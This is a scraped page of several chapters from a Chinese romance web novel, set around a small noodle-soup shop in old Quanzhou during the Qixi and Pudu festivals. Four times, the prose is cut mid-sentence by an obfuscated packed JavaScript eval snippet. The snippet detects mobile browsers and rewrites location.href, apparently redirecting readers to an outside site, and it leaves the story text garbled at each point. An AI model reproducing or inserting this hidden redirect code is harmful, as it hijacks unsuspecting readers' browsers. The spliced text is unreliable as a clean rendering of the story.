“今天赚得很多？”许东山提起茶壶给自己倒了一杯茶。 苏月娘得意地晃了晃钱匣子，里头好不容易堆叠好的铜板丁零当啷地散开了，不过苏月娘并不在意，因为她还想进屋以后再数一遍。 “今天是咱们开店以来，赚得最多的一天！已经能抵得上平常干两天半的收入了！等这阵子结束，我给你们每个人都包个红封庆祝一下！”苏月娘眼珠子一转，“当然了，你这个老伙计的工钱肯定要再涨一涨！” “上个月不是刚涨一回吗？” 苏月娘叹气，“许大哥现在那么抢手，我要是不用心将你留着，我这小店可怎么办啊？” 虽然昨日许东山承诺过不会去别处，但苏月娘还是放不下心。 许东山听这话，无奈道：“就算你不给我涨工钱，我也会一直留在这儿给你当厨子……” 苏月娘盯着他看，没在他面上瞧出任何撒谎的痕迹后，她笑着伸出小拇指。 许东山有些疑惑。 “这是什么？” “拉勾啊……”苏月娘晃了晃手，“我看阿生和他玩伴都爱玩这个！” 苏月娘这么一说，许东山便想起来了阿生和他的玩伴们成日勾着彼此的小拇指晃来晃去，然后发一个无关紧要的“毒誓”。 虽然他觉得此举甚是幼稚，但苏月娘都如此真诚地邀请他一起拉勾了，他便迟疑了一下，伸出了右手小拇指与她的勾在一起。 一黑一白，一大一小。 许东山觉得两只手勾在一起，有些赏心悦目…… 苏月娘带着许东山的手晃了晃。 “拉勾上吊，一百年不许变……” 苏月娘的话语戛然而止，许东山还等着她说下一句。 她却抽开了手。 “没有了？” 苏月娘抬起头，“没有了。” “不是还要发个毒誓吗？” 苏月娘朝他笑，“我相信许大哥肯定不会骗我！咱们两个肯定能长长久久地合作下去！” 苏月娘还着急回去再数一遍钱，说完这句话后，她便抱着钱匣子，噼里啪啦地跑了。 留在原地的许东山愣神良久，直到听不见铜板的脆响，他才抬手摸了摸发烫的耳朵。 —— 七月初七，七娘妈生。 七娘妈是妇女孩童的保护神，更是许多闽南孩童的契母（1），掌管送子、生养、疹痘等事项。 家中只要有妇孺，便都要在七月初七这日给七娘妈烧香上贡。 虽然许家并不是苏月娘的家，但苏月娘还要在这儿做生意，便得在这儿敬七娘妈。 七娘妈要敬，生意也要做，苏月娘破天荒地早起准备敬七娘妈的东西。 许东山和其他男人一样，都不太懂敬七娘妈的事宜，但是他很有眼力见地询问苏月娘应该要如何处理食材，并一力承担了下来。 许东山空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295324|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手去准备敬七娘妈的贡品，旁的吃食便稍微耽搁了下来，好在今日大家都在忙着敬七娘妈，上门吃饭的人并不怎么多。 宽宽松松地忙到中午，红姑备好了糖粿后，便急急忙忙地拉上阿生，准备回家敬七娘妈和床母了。 “许大哥，你招待一下客人，我去敬七娘妈。” 许东山应了一声，便走到堂屋去接替苏月娘的事情。 上门的客人没那么多，许东山也就干坐在堂屋里，他看着苏月娘走来又走去，忙得不行。 毕竟是在自己家里敬七娘妈，许东山还是决定参与一下。 反正也没什么客人，许东山干脆随着苏月娘回到后屋。 苏月娘抱着装满各色各样小物件的小竹筐回过身，瞥见站在房巷口的许东山。 “怎么不在前面待着？”苏月娘将筐子放在一旁，取出一团红线，将筐子里的小物件捆在一起。 许东山走上前去，跟着苏月娘一起捆东西。 “前面也没什么人，就过来帮忙。” 两人一起捆好了扎花、胭脂、香粉，苏月娘将丝线攥在一起交给许东山。 “许大哥你个高，你把这些东西甩到屋顶上去吧！” 许东山接住那把捆得无比结实的丝线，用手掂量了一下，而后卯足了劲儿，甩了两圈，往屋顶上一抛，那把梳妆物牢牢地搭在了屋顶上。 “还有这个，这个是用来犒劳搭桥喜鹊的！”苏月娘另将几包用红纸封好的糯米交给许东山。 好在许东山儿时也是丢沙包的个中好手，这一回也是极为顺利地将糯米抛上了屋顶。 “我去支桌子，你去厨房里把那几盘菜都端过来摆着！” “好。”许东山随着苏月娘的命令行事。 没想到他只是去后屋一小会儿，就有好几个客人上门，坐在堂屋里等人出来。 许东山收钱上菜之后，便又自顾自地端着敬七娘妈的菜品去后屋帮忙了。 敬七娘妈的小供桌就摆在房巷外，见小供桌的桌脚下已经垫上了金纸，许东山便弯下腰，将醋肉、炸芋头、炸鸡卷、三牲、糖粿、咸饭、花生、龙眼放在供桌上。 苏月娘捏着一把紫色小花回来，给每盘菜品放上一小枝花，并清出一个角落摆上七双筷子、七只酒杯、几叠金纸和七娘妈像，最后点上三支香压在正中。 苏月娘闭上眼，双手合十，念叨了好一阵，许东山虽然不知道应该念点什么，但也有样学样地闭眼双手合十。 至于念点什么…… “七娘妈保佑我头家生意兴隆发大财……” 苏月娘听见许东山低声念叨着的话，不禁笑出了声。 “许大哥，七娘妈好像不管发财的事情……” 许东山睁开眼睛，面上流露着一丝尴尬，“啊？是吗？” 苏月娘笑得眉眼弯弯，“把七娘妈亭和七娘妈轿提去门口烧了，说不定七娘妈会看在这份上帮你把愿望转告给财神爷的。”（2） 许东山赶紧拎起靠在角落里的七娘妈亭和七娘妈轿去门口烧掉。 苏月娘一时间笑弯了腰。 厨子都这么虔诚了，她这个头家必然是会老天保佑发大财。 35. 四物老鸭汤 初八是卖糖粿的最后一日。 苏月娘信守承诺，给许东山、红姑、阿生都包了一个小红封作为感谢。 红姑手头已有一串沉甸甸的钱，再拿一个红封，她心里过意不去。 “给了工钱就好……再给个红封算怎么回事？而且阿生这几天也没少捣乱……” “这几天生意这么好，好在伯母和我们阿生，店里才能忙得过来！多给点是应该的！”苏月娘揉了揉阿生圆圆的脑袋，“大热天的人都这么多了，等没那么热了，得更忙不过来！不知道伯母愿不愿意来我这儿长干下去？” 红姑怔住了，她下意识低头看了一眼阿生。 苏月娘明白红姑是在担忧自己是因为要帮着解决阿生上学堂的事情才让她留下做工的。 她笑着解释道：“我现在是越来越不想干活了，前段时间我都把洗碗的活丢给许大哥了……让许大哥自己一个人包下店里的重活我也过意不去，所以就想着让伯母过来帮着分担一点！” 许东山昨日便知道苏月娘的打算，现下就帮着劝说两句，“店里确实忙，虽然我们两个人咬咬牙也能干下来，但是时间长了，肯定撑不住。” 几经思虑，红姑点头答应了。 阿生见他阿嬷点头同意了，欢喜地蹦了起来。 在这儿待着可太好了，不仅能吃好吃的，还能看干爹时不时偷瞄月娘姑姑。 许东山一把摁住乱蹦乱跳的阿生，“正好明天春喜和大松要回来，中午做顿好的，大家一起吃。” 阿生只听到“做顿好的”，他瞪大眼睛，问道：“干爹，你要做什么好吃的？” “你想吃什么明天姑姑带你上街买！” 红姑无奈道：“你们两个可别太惯着阿生！” —— 仔细数来，许春喜已经足足两个月没有回娘家了。 天还没亮的时候，许春喜便将呼噜打得震天响的林大松从被窝里揪了起来。 林大松怒不敢言，只能眯着眼四处找裤子穿。 小两口收拾清楚出去后，林大松的爹林富贵已经坐在院子里杀鸭子了。 “难得看你们两个起这么早。”林富贵瞥了一眼整天勤快睡觉悠哉干活的儿子儿媳，“一会儿出发的时候记得把鸭子和龙眼带上。” “知道了爹……” “你们娘准备了稀饭和巴浪鱼，你们两个赶紧吃完赶紧走！” 小两口见天快亮了，连忙一齐去厨房找饭吃。 林家是个好人家，许春喜自觉嫁到这儿，过的就是神仙日子，虽然家里有座山头，山头围了个大果园还养了满山的鸡鸭，但她并不必跟着公婆和林大松上山干活，每日只需下下厨，送送饭菜即可，厝边头尾都说她天生享福的命。 催促着林大松喝完了粥，许春喜还特意帮婆婆洗了碗，省得婆婆喂完满山的鸡鸭回来还得辛苦一回。 许春喜甩着手去到家门口，林大松已经将东西都搬到了骡车后板上。 “咱们快走吧！正好能赶回去给月娘搭把手！”林大松翻身坐在了骡子的背上。 “诶！你先别走！”林富贵从院子跑来，拦住了儿媳妇的去路，并从兜里翻出一个荷包塞给她。 许春喜提着沉甸甸的粗布荷包，疑惑地看着林富贵。 “月娘一个小姑娘在外面做生意不容易，正好龙眼卖了点钱，你帮我把这钱带去给你大哥，让你大哥帮忙花点心思照顾一下月娘！” 许春喜将钱塞回去，“我大哥可不需要这个，月娘带着他挣钱，他感谢都来不及了了！” 林富贵叹气，“听说月娘的大伯到处找她……指不定什么时候就找到你大哥那里去了……如果真有那么一天，你让你大哥好好保护月娘！” “不用您说，我大哥也一定不会让月娘被带走的，他对月娘，可比对我还好！” 林富贵见儿媳妇不肯将这笔钱带给许东山，就只好道：“既然如此，这笔钱带给月娘也好。” 许春喜这才收下林富贵的钱，随着林大松一起离开婆家。 —— 许春喜两口子在面线糊店最忙碌的时候到了家。 许东山可没空去招待林大松，林大松便熟门熟路地牵着他的骡子，去了后院。 等林大松一手提老鸭，一手抓龙眼走进了厨房里，许东山才分了个眼神给他。 “大哥早！”林大松将光秃秃的老鸭丢在菜板上放着，随后撸起袖子，一副随时准备干活的样子。 许东山看他还是那熟悉的傻样，便收回了目光。 在外面与苏月娘寒暄许久的许春喜从厨房外探头，“我要和月娘上街买菜，你先把老鸭汤炖上！” 许东山总算说话了，“他行吗？别把好好的鸭子毁了。” 林大松自信地拍了拍胸脯，“这两个月只要没去山上干活，我就在家里帮春喜煮饭！炖老鸭汤对我来说不算什么！” 闻言，许东山也就放心让林大松去炖汤了。 …… 林富贵挑的鸭子个头还算不小，六个人吃一顿绰绰有余。 林大松手法娴熟地给这光秃秃的肥鸭子斩成小块，并洗得干干净净的。 为了更好地保留老鸭的滋味，并使汤水清澈，林大松还特意让许东山帮着找一个大砂锅用来炖四物老鸭汤。 老鸭倒入水沸的砂锅中，稍焖煮个一刻钟。 闽南四物为当归、川穹、白芍以及熟地，四物常用来煮成适合女子调理气血的药膳汤，但也可与排骨、老鸭一起炖煮成补汤。 林大松将四物洗净，再扯了个用来装虾糠的纱布包，将四物扎好，再与鸭胗鸭肠、姜片一起丢入已经煮得微微变黄的鸭汤中一起炖煮。 许东山默默地看着林大松炖汤，虽然炖四物老鸭汤并不是什么难事，但从林大松剁鸭、煲汤的动作来看，比两个月前从容不少。 “今天中午你掌勺。”许东山冷不丁道。 林大松两眼一亮，这话对他来说无异于是得到了许东山的认可。 “包在我身上！今天中午我高低做一桌满汉全席来！” 许东山轻嗤。 …… 姑嫂二人外加一个阿生沿街逛了一圈，碰见什么想吃的便买，买到最后，带出来的两个菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301076|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 篮子险些装不下东西。 三人吭哧吭哧地往家的方向走，还没进门，许春喜就瞥见了站在隔壁门边看她与苏月娘的李金花。 当时她爹病重，这个二婶看她家越来越没落，对她家是不闻不问便罢，甚至还在背地里随着外人一起奚落她家的境地，全然忘了从前她爹对他们一家子的帮衬。 面对这个二婶，许春喜连声招呼都懒得打。 而李金花却不打算就这么放许春喜走。 “春喜怎么这么久才回来一趟？”李金花走上前去拉住许春喜的胳膊。 苏月娘并不想和李金花待在一起，便接过许春喜提着的菜篮子，领着阿生先回屋了。 许春喜皮笑肉不笑，“有事吗？” “这不是过来看看你吗！”李金花贼兮兮地朝月娘面线糊店里看，见苏月娘走远了才拉着许春喜去到一旁。 许春喜烦闷地抽回手。 “你表妹的生意还挺不错的！你就没想过让阿山重新把许氏面线糊开起来？” 许春喜脸一冷，“我哥就没什么做生意的本事！店给他开也挣不了什么钱！” 李金花啧了一声，继续道：“你表妹这店生意这么好还不是因为阿山的手艺！” 许春喜不耐烦地往后退了一步，“你不懂就别乱说话了！谁跟你似的，总是背信弃义。” 丢下话后，许春喜头也不回地走了。 留下李金花一个人站在原地狠骂了几句难听的。 …… 许春喜挂着个脸回到厨房里，往许东山身边一站。 许东山盛完手头的几碗面线糊后，转头一看，问道：“怎么了？” “虽然你是我亲哥，但我还是要警告你，你可不许看这店挣了钱，就想把月娘赶走自己干！”许春喜怕旁人听见还特地压低了声音，“你要是这样，我可就不认你这个亲哥了！” 许东山无奈地捏了捏眉心，“我从来都没有这种想法……” “那就好！以后你见到二婶，能躲多远就躲多远！她可不是什么好人，你小心让她离间了你和月娘的关系！” 许东山神色一正，听了许春喜的提醒，他便猜到了李金花方才定是拉着许春喜说一些有的没的。 “许大哥，剪一根油条！” 见苏月娘走近了，兄妹俩赶紧结束了这个话题。 苏月娘见许春喜站在大锅边，还打趣道：“表嫂是饿了吗？让许大哥给你盛一碗垫垫肚子！” 忙活切菜的林大松耳朵尖，“什么？春喜你饿了？” 许春喜方才在路上吃了不少糕点，这会儿怎么可能饿？ 她朝苏月娘笑了笑，“我不饿！” 可是手快的林大松已经凑到面线糊桶边，盛了半碗清糊给许春喜递过去。 “你先喝点面线糊垫垫肚子！一会儿四物老鸭汤炖好，再盛一碗给你喝！” 许春喜端着热气腾腾的面线糊有些哭笑不得。 许东山将剪好的油条递给苏月娘后，深深地看了已经回去切菜的林大松一眼。 “虽然不怎么精明，但对你还算不错。” 36. 龙眼 等到中午的客人散得差不多了，由林大松掌勺的午饭才真正上桌。 五菜一汤，可把林大松累坏了。 许春喜看林大松满头大汗的，皱着眉掏出手帕给他擦汗，“一头汗也不知道擦一擦！” 林大松咧嘴一笑，待汗擦干净之后，他率先取来大勺，从砂锅里盛出一只鸭腿和两大勺老鸭汤放在许春喜面前，“来！多补补！” 许春喜原想着要将鸭腿留给苏月娘与阿生，没想到林大松却自作主张地将鸭腿给了她，她没好气地瞪了林大松一眼。 林大松不知缘由地挨了瞪，问也不是，不问也不是。 “别傻愣在那了，坐下吃饭。”许东山看妹夫杵在桌边实在碍眼，便喊他坐下了。 林大松可不敢去触许春喜的霉头，只能尽量挨着许东山坐。 苏月娘和许春喜坐在一块儿，见林大松这副怂样，一时憋不住笑，“表哥怎么得罪你了？他不是还给你盛汤了吗？” 许春喜压低声音，“看他有点蠢，想逗逗他！” “逗他？”苏月娘不解。 许春喜笑了下，“等你成亲了你就明白了。” 苏月娘见许春喜不给自己解释，撇撇嘴。 她一时半会可能明白不了。 那边，林大松正目光炯炯地盯着许东山吃饭，见汤水与炒菜下肚，林大松迫不及待地问道： “大哥觉得怎么样？是不是很有长进？” 林大松凑得太近，许东山浑身难受。 许东山挪了半个身位，才评价道：“还行。” 林大松笑了两声，“春喜最近都夸我做饭好吃呢！” 许东山，“别得意忘形。” 林大松立刻收住了嬉笑，一本正经地吃起了饭。 …… 林大松手艺不错，饭菜被一扫而空，六人用过的碗筷堆叠了一桌。 林大松看除了许东山外的所有人都面露满足，心里头欢喜得很，一时间浑身充满了劲儿。 “都吃饱了吧？我去洗碗了！” 红姑见林大松起身收碗，连忙站起来去厨房取来抹布一起收拾。 毕竟林大松是客人，而且中午客人们用过的碗筷还积在水池里，苏月娘便赶紧跟上去一起干活。 堂屋里一时只剩下许东山兄妹和阿生。 阿生吃饱了，困劲儿上头，这会儿下巴支在桌上，小眼睛一眨一眨的。 “你知道我房间在哪吗？自己进去睡一觉！”许东山捏了捏阿生的鼻子，让他清醒一些。 阿生迷茫地点了点头，很快自己跳下长椅，朝着后屋走去。 兄妹俩看着阿生离开后便望向彼此。 许春喜这才刚张嘴，许东山就知道她要说什么，他当机立断，立即起身往厨房走。 “你站着！我还没说话呢！” 许东山充耳不闻地走了。 许春喜想说的无非就是让他成家生子之类的话，这话他可不乐意听。 今日林大松拉了半车自家种的龙眼过来，龙眼这东西不禁放，还是趁早吃掉为好。 许东山找了个盆，抓了两大束龙眼，用剪子将果子一颗一颗地剪下来。 装满半盆，用水淘洗掉黄褐色果壳上的灰尘后再倒上八分满的清水泡着。 许春喜依靠在厨房门口，瞧见许东山端着龙眼转过身，她立即直起身子，眉开眼笑地等着许东山将龙眼端来给她吃。 怎知许东山只是看了她一眼，随后便径直走到院子里去。 许春喜，“……” 许东山端着盆走到了水池边。 苏月娘正在那儿给洗过一遍的碗筷过水。 “你去里面吃龙眼，我来洗碗。” 苏月娘正好有些腰酸背痛，便毫不客气地洗了手，接过龙眼进屋去了。 许春喜见许东山将龙眼给了苏月娘，一时间有些回不过味来。 他怎么就将那盆龙眼给苏月娘呢？为什么不给林大松或者红姑？ 不会是…… 那个荒唐的念头一冒出，许春喜立即将之挥散了。 或许她大哥只是单纯地在讨好他头家罢了……也或许是将苏月娘当成亲妹妹一样疼…… 是的…… 是这样没错！ “春喜嫂！咱们一起去吃龙眼吧！”苏月娘挽上许春喜的手臂与她一起去到堂屋里吃龙眼。 许春喜也就暂时忘记了刚才那个念头。 …… 一刻半钟过去了，在院子里洗碗的三人一齐回到堂屋。 桌上已经堆了一堆龙眼壳和龙眼籽。 每到深夏，泉州城内处处可见龙眼树枝头挂着一大串黄褐色的龙眼果。 人们尤为喜欢在炎热的天时吃龙眼解渴消暑，除非因为食用过量喉咙发痛才肯停下嘴。 林家自种的龙眼个大水足、清甜可口，哪怕是不缺龙眼吃的许春喜，也免不了吃个不停。 “月娘怎么用嘴咬壳呀？不嫌脏？”红姑一眼看到苏月娘将龙眼连壳送进嘴里一半，将果壳咬开一个口子，再用手一挤，才将果肉送进嘴里。 林大松笑道：“月娘打小就笨，一直学不会用手剥壳，只会用嘴咬！” 苏月娘瞪了他一眼，将还没来得及的送进嘴的龙眼放回了盆里。 “林大松，你又嘴欠！月娘你别管他！你继续吃！” “哼！用嘴咬怎么了！表嫂你晚上把林大松这个混蛋赶到土脚（1）去睡！” 许春喜一口应下，林大松却不乐意了。 在表兄妹俩你一言、我一语地斗嘴时，许东山不动声色地摸出一个小碟子坐在苏月娘慢慢地剥起了龙眼。 晶莹剔透的龙眼果慢慢堆叠在小盘里，直到有了个小尖锥，表兄妹俩的斗嘴才因为许春喜一把揪住林大松的耳朵而收尾。 许东山将装了龙眼的小碟推到了苏月娘的面前。 “吃吧。” 苏月娘没觉得什么不对，道了谢后便开始享用许东山独特的关照。 而许春喜却是瞪大了眼睛，连林大松的耳朵都顾不得拧了。 林大松脑子迟钝看不出来什么，可心思机敏的许春喜却是彻底证实了方才那个被自己否认的荒唐念头。 许春喜脑子转不太过来，便见到鬼一般，扶着桌子坐下了。 “春喜，你怎么了？”林大松见许春喜一下子蔫了，连忙弯下腰关切地看着她。 许春喜扶着额，“都是被你给气的……你……你离我远点！” —— 许东山中意苏月娘这事儿太过骇人，直到离开娘家的时候，许春喜都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303998|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没能找到合适的方式和许东山提一提这件事。 直到骡子车上了浮桥，许春喜才冷不丁地拍了拍林大松的后背。 “林大松，你觉得我哥怎么样？” 已经好几个时辰没和许春喜说过话的林大松顿时警觉了起来，“我……我觉得大哥他……他非常好！” 这评价干巴而又勉强，许春喜掐了林大松的腰一把，“我不是在试探你，你说实话就好，就算你说我哥不好，我也不会怪你。” “真的？” “真的。” 林大松呼出了长长的一口气后，跟倒豆子一般说起了许东山的不好，“虽然大哥人还不错，但是他那张脸实在是太臭了！跟他不熟的人，光看他那张脸，都能被吓个半死！我猜……应该不会有姑娘能主动看上他！” 看样子，林大松是不会乐意有自家大哥这样的妹夫了。 许春喜叹了口气，见周遭没人，稍微直起身子，双手环抱住林大松的腰身。 林大松冷汗簌簌，“你怎么突然……” “就是突然想要抱一抱你……” 希望许东山和苏月娘要真的成了一对，林大松能看在她的面子上不要阻拦他们。 浮桥建造在笋江之上，傍晚时分，放眼望去，天边是火红的夕阳，地面上是缓缓流淌而过的粼粼江水、一排排低矮的民房与阡陌笔直的农田。 虽然风景美不胜收，但是凉爽的江风一吹过，林大松还是忍不住哆嗦了一下。 他怎么老觉得有什么不对劲呢？ …… 月娘面线糊店的几人吃过了晚饭后，红姑带着阿生回家去了。 家里一空，又恢复了往日的宁静。 许东山洗完了碗筷出来，苏月娘还坐在桌边贪嘴剥龙眼吃。 “我在后山还有一块地，地里有颗龙眼树，等春喜送来的龙眼吃完了，我再带你去摘。” 苏月娘今年还没怎么吃过龙眼，现下对龙眼还新鲜着，便毫不犹豫地点了点头。 “刚刚让伯母和阿生带了一半走，剩的那些三两天就能吃光……等普渡过后，你带我去摘吧！” 许东山面色柔和地点了点头。 刚吃过饭，苏月娘也吃不了太多龙眼，又吃了两个，苏月娘便将龙眼收到了一旁，往后屋去了。 料想苏月娘是想沐浴，许东山连忙回厨房将方才顺手烧的两大壶水提到了浴房去。 苏月娘不知许东山在浴房中给自己倒热水，抱着衣裳便朝着浴房走去。 天色太暗，苏月娘没仔细瞧，只顾大步往前走，一不留神，便在门口撞上了提着水壶往外走的许东山。 许东山身板硬，苏月娘这么一撞，许东山没半点事，她却被撞得往后趔趄了几步，上半身全然失去了平衡，就要往后摔去。 苏月娘惊呼着，依稀听见两声“哐啷”，许东山便朝她扑了去。 一阵猛烈的天旋地转过后，预想中的后脑着地并未发生…… 苏月娘心有余悸地睁开眼，只见入目的是许东山的脖颈与那上下滚动的喉结，而她的手，牢牢地摁在许东山的前胸…… “许……许大哥……”苏月娘惊魂未定地喘息着。 被她当成肉垫子的那人不自觉地收紧了护在她后背的胳膊，大手抚在她的后脑勺上。 37. 茶油 两人严丝合缝地紧贴着。 苏月娘掌下一片热烫突跳，她稍稍起身，才看清自己的手按在许东山的心口。 他气息不稳，那颗躁动的心脏好似要从胸腔里跳出一般…… “你没事吧……” 苏月娘的脸在一刹那间涨得通红，“我……我没事……” 毕竟男女授受不亲，总这么上下叠着也不好，苏月娘咬着唇，垂着眼，从许东山的身上翻了下来。 怀中的人忽然离开，许东山有些怅然若失。 “许大哥你没事吧？”苏月娘关切地看着已经坐起来的许东山。 毕竟她方才听见一声沉重的闷响，想必许东山摔得极重。 许东山一边摇摇头，一边站起来活动筋骨，只是在他摇晃着右胳膊时，面上出现一丝异色。 苏月娘紧张地凑上去，“许大哥受伤了吗？” 许东山还是摇头，“我没事！” 苏月娘却不太信她，趁着许东山不注意，她抬起手，在许东山的肩膀上不轻不重地捏了一下。 “嘶——”上一秒还在逞强的某人呲牙咧嘴地捂着肩膀。 苏月娘小心翼翼地帮着许东山检查他的臂膀，确认许东山只是胳膊擦破了皮、肩膀些许扭伤，并非骨头脱位。 她松了口气之余还是自责地红了眼眶，“许大哥刚才拉我做什么？你要是不拉我，你也不会受伤……” 许东山低头看着苏月娘眼中有泪水在打转，一时慌得语塞，只下意识伸出手，对着她的眼睛擦了一把—— 常年抡大勺、干苦活的大手遍布厚重粗糙的老茧，粗粝的掌心摩擦在眼皮上，痒，又带着一点疼。 “许东山……你弄疼我了！”苏月娘皱着脸，往后一缩。 许东山连忙收回手，那张常年没有什么表情的脸上，难得出现无措的神情。 看着许东山已经在慢慢渗血的胳膊，苏月娘索性推着他回屋。 将人摁在床上后，苏月娘去外头取来许东山用来擦脸的巾子，蘸了些水，小心翼翼地给他擦拭着渗出的血。 从前许东山在战场上摸爬滚打惯了，大大小小的伤受了不少，破点皮对他来说只是无关紧要的伤罢了。 胳膊上的伤口不怎么深，先前的血擦掉之后，便未再见有血水渗出。 “你在这儿等我，我给你找点东西抹一抹！” 许东山伸长脖子，看着苏月娘的背影消失在门边才顾得上低头检查自己的臂膀。 他的肩膀尚且能动，应当是不会影响做事。 一会儿之后，苏月娘带着一个小陶瓶子回来了。 许东山看了那瓶子许久，“这是什么？” “开店的时候，从后面的屋子里收拾出来的茶油……这茶油味道还挺浓郁的，用来按肩应当不错！” 茶油？ 许东山眯了眯眼睛。 遥记得春喜还是个抱在手里的婴孩时，就时常闹胀气，每每春喜肚胀苦闹时，他娘就会用茶油混上清花粉在手心搓热，再敷在春喜的肚子上轻轻揉着。 小小的他站在边上看着，他娘还会拿着那瓶茶油与他说道： “这个可是三十年的老茶油，能治胀气还能用来按摩，就这么一瓶要了你爹好多钱呢！” 这是二十年前的事情，那么苏月娘手里的这瓶茶油得有五十年了。 甭说几十年的老茶油了，就连新产的茶油也要不少银子，这么贵重的东西搽在自己皮糙肉厚的身上…… 还怪可惜的！ 还没等许东山出口拒绝用老茶油按肩膀，苏月娘便已经倒了一点茶油在手心，用力地搓了起来。 不愧是五十多年的老茶油，还没怎么搓热，这老茶油便飘散出岁月沉淀过的浓郁茶籽味，醇香中略带苦涩。 老茶油清爽不黏腻，搓热后两掌分开，贴在了许东山扭伤的右肩上慢慢按摩着。 许东山有些紧张地挺直腰背，感受着细腻温热的掌心在自己的肩膀上来回游动。 所到之处，寸寸生火。 “疼吗？”苏月娘见他的肩膀轻微红肿，便放轻了按摩的动作。 “还行……” “你肩膀都伤成这样了，明日你……” 许东山自认为没那么娇气，“我行！” “就算你行我也不能让你干活！明天我掌勺！你就跟着红姑伯母一起端菜！” 面线糊店里的吃食种类多，米粉那样单锅出的还好，但做面线糊、咸饭这种从一个大锅出来的吃食，苏月娘可能会受不住。 “我休息一晚上就好了，明天能照常干活！”许东山用力动了动自己的肩膀，“你看，已经没什么大碍了！” “你要是不听我的话，我可扣你工钱了！”苏月娘在许东山的肩膀用力一掐，还在逞能的许东山立刻老实下来了。 —— 次日，天还没亮。 红姑带着阿生上门做事。 一进门，红姑就发现了今日的不寻常，“今天怎么是月娘在煮面线糊？” 被迫坐在堂屋里腌菜头酸的许东山动了动两刻钟前才被苏月娘按摩过的肩膀，“我肩膀扭伤了。” “怎么伤的？搽过东西没有？”红姑皱着眉走上去瞧了一眼。 “昨天不小心摔了一跤。” 阿生看到许东山肩膀上一片油光，他皱着眉头，左手搭到自己的右肩膀上来回搓了搓。 “干爹，这是月娘姑姑给你抹的吗？” 许东山一低头，对上阿生那对炯炯有神且求知若渴的小眼睛，“……” 红姑倒没想太多，“还好没有伤到骨头！也不知道月娘一个人能不能忙得过来，我去给她搭把手！” 红姑走了，阿生却还杵在许东山身边，干父子俩大眼瞪小眼，一个无声逼问，一个闭口不言。 后来阿生实在瞪不住眼睛了，便拉了拉许东山的衣下摆，小声说道：“干爹你不要害羞嘛……我不会和月娘姑姑说你喜欢她的！” 许东山难以置信这样的话会从阿生嘴里说出来，他紧张地捂住阿生的嘴巴。 “你懂什么！别瞎说！” 阿生愤愤地扒开许东山的手，“哼！那干爹成天偷看月娘姑姑做什么！干爹要是不敢承认，我可就告诉月娘姑姑了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308918|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许东山险些被这个小兔崽子气得一口气提不上来。 他对苏月娘的中意一直潜藏在心底，原以为这个秘密藏得很好，没想到这么快就被阿生这个鬼贼的孩子看破了。 “这不是你一个小孩子该说的话！” 许东山正了面色，语气冷硬，阿生必不可免地被唬住了。 阿生撅着嘴，怕得眼里沁出泪水，怯生生地看着忽然变了脸的干爹。 许东山看着被吓坏了的干儿子，心里有些过意不去。 情绪稍缓之后，许东山对阿生伸出双臂，阿生看看许东山的脸，再看看许东山的胳膊，最后还是挪着小步扑进了许东山的怀里。 “你不用操心我和你月娘姑姑的事情，你也不要多嘴去和她说……” 阿生用力点了点头。 许东山拍了拍阿生圆滚滚的脑袋，“好了，下不为例！” 阿生从许东山怀里退出来之后，看着许东山变得柔和起来的脸，真情实意道：“干爹，你人这么好，月娘姑姑肯定会喜欢你的！” 说完之后，阿生立即跑了。 —— 被迫休养到了普渡那日，许东山的肩膀好得差不多了，抡大锅大勺全无问题，一点不会耽误帮黄阿三干活。 本镇的普渡宴都设在晚上，许东山只需午后去与宴席班子汇合即可。 七月十五为附近几镇的普渡日，普渡之夜，百鬼出行，家家户户都会备上一桌子丰盛的贡品供路过的孤魂野鬼食用。 虽说今日客人不怎多，但许东山与苏月娘因着在准备普渡贡品，依旧忙得不可开交。 油锅里醋肉、芋头、鸡卷、排骨一样接着一样出，龙眼、杨桃、檨仔纷纷装盘，另备米、生面、金纸、花束等，一转眼，便也摆了满满当当一大桌。 凤池镇的人们素有在普渡这日去镇上宫庙（1）里祭祀的习俗。 